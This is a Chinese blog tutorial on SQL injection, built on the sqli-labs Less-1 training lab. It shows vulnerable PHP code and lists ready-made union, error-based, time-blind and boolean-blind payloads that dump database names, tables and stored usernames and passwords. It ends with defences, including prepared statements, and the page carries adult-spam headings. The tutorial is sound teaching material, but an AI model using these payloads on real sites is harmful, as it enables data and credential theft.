中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SQL注入漏洞的原理

發布時間:2021-09-10 09:33:03 來源:億速云 閱讀:394 作者:chen 欄目:網絡管理

這篇文章主要講解了“SQL注入漏洞的原理”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“SQL注入漏洞的原理”吧!

漏洞原理實例

用戶提交數據后,后端服務器將用戶提交的數據帶入sql語句對數據庫進行操作,如果沒有進行過濾,那么用戶提交構造好的特殊語句,就可以對數據庫進行非法的操作,即引發sql注入,例如以下代碼(sqli-labs-1)

//GET方式獲取name為id的值賦值給$id變量;
$id=$_GET['id'];

//定義$sql變量,值為下一步要執行的sql語句,將$id變量帶入sql語句中;
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; 

//將上一步定義的$sql變量的值作為sql語句帶入數據庫查詢,并將結果賦值給$result變量,mysql_query為php提供的數據庫查詢函數;
$result=mysql_query($sql);

//從上一步查詢的結果集中去的一行作為數組返回并賦值給$row變量;
$row = mysql_fetch_array($result);

//如果$row值不為空,即數據庫查詢數據正常,則打印出username和password的值;
if($row)
{
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else 
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";  
}
}

數據庫中有數據如下

SQL注入漏洞的原理

那么用戶提交?id=-1,則代入數據庫正常查詢且正常輸出

SQL注入漏洞的原理

但如果用戶提交的數據為

?id=-1' union select 1,2,database() --+

那么則會返回我們構造的語句對數據庫進行的查詢操作返回的值

SQL注入漏洞的原理

我們將兩個提交的數據都帶入我們后端的執行中對比,如下

原始語句:SELECT * FROM user WHERE id='$id' LIMIT 0,1
正常帶入數據:SELECT * FROM user WHERE id='1' LIMIT 0,1
非法帶入數據:SELECT * FROM user WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1

--(注:在執行sql語句時,“--”是sql語句中的注釋符,但是使用時--后要有一個空格才能起到注釋作用,否則會報錯,這里的+號經過處理后會變成空格,用來和后面的單引號分隔開,才能將后面的語句注釋。)

可以看到,如果沒有經過過濾就將用戶提交的非法數據帶入后端執行的話,真正執行的語句是SELECT * FROM user WHERE id='-1' union select 1,2,database() -- ' LIMIT 0,1,而后面被注釋的部分不執行,那么就不會引發錯誤,在查詢id字段值為-1沒有結果后,就會執行union查詢,查詢出數據庫名并輸出,這就是最典型的sql注入。

漏洞分類

就不按照數字型字符型這些來分類了,我認為按照利用方式來分類更容易理解

有回顯

Union query #聯合查詢注入,通過union聯合查詢獲取查詢結果
Error based #報錯注入,通過報錯信息獲取查詢結果

無回顯

Boolean based blind #布爾盲注,通過應用返回不同的值判斷條件真假
Time based blind #時間盲注,通過不同的時間延遲推斷條件真假

漏洞檢測

手工檢測

提交的參數與數據庫交互,參數添加“ ' ”(英文單引號),出現異常(sql語法錯誤),即存在sql注入,如果無回顯,可以通過延時或者布爾盲注來檢測是否存在漏洞。

注:異常報錯的原因是因為后臺將參數中的單引號帶入sql語句進行數據庫操作,多了一個單引號引發sql語法錯誤,所以報錯即整明了我們的單引號進入了sql語句執行中。

工具檢測

使用sqlmap進行檢測,這里是下載地址和使用說明點擊跳轉

漏洞利用

手工注入

有回顯型構造語句查詢數據,無回顯型進行盲注,不過比較費時間。

這里就以mysql的數據庫,sqli-labs的less-1為例,列出一些常用的語句,如果要詳細展開細講的話,篇幅肯定會特別特別長,一篇文章恐怕各位看官們也看不下去,各位需要用到更多的語句時自行百度即可,如果需要的話后面可以分開出詳細的各中注入方式的詳解文章。

UNION聯合查詢注入
爆列數:?id=-1' order by n--+(“n”到幾不報錯則有n-1列)
爆庫名:?id=-1' union select 1,2,database() --+
爆表明:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆數據:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

注:使用中根據實際需要修改字段數(列數)以及庫名表名等,union查詢的字段數需要和表中的字段數相同才可以
報錯注入
爆庫名:?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名:?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆列名:?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆數據:?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
時間盲注
爆庫長:?id=1' and if(length(database())=8,sleep(5),NULL)--+
爆庫名:?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+
爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+
爆列明:?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+
爆數據:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
布爾盲注
爆庫名:?id=1' and left((select database()),1)='s'--+
爆表名:?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+
爆列明:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+
爆數據:?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+

無回顯的還有一種利用方式是利用DNSlog外帶查詢的內容,這里有一位師傅講的已經很詳細了,點擊查看原文

以上為GET型注入,POST型類似,修改參數值即可。

工具注入

依舊是sqlmap一把梭,實戰中根據實際需求使用tamper進行繞過一些過濾。

常見場景

用戶可控的參數與數據庫有交互的地方,常見與查詢,登錄等;

在測試中可以爬取網站的一些api查詢接口,也會存在sql注入。

漏洞防御

WAF(web應用防火墻)

為網站添加waf,雖然不能修復sql注入漏洞,但是可以攔截敏感數據以防止sql注入被黑客利用

Filter過濾

在服務器端添加過濾代碼以過濾可能引發sql注入的敏感字符

sql預編譯

示例:

prepare baizesec from 'select username,password from users where id=?'; 定義預編譯語句
set @a=1; 傳參數
execute baizesec using @a; 調用

感謝各位的閱讀,以上就是“SQL注入漏洞的原理”的內容了,經過本文的學習后,相信大家對SQL注入漏洞的原理這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

南雄市| 犍为县| 醴陵市| 清镇市| 鞍山市| 东光县| 郸城县| 新津县| 犍为县| 鹤岗市| 伽师县| 大关县| 湖口县| 北宁市| 仁怀市| 太和县| 丹凤县| 夏津县| 永靖县| 建瓯市| 德昌县| 太保市| 淅川县| 曲水县| 九龙城区| 大石桥市| 十堰市| 赤水市| 息烽县| 祥云县| 佛山市| 大余县| 淄博市| 曲阳县| 中西区| 黄平县| 武陟县| 吉林省| 祁连县| 中山市| 临西县|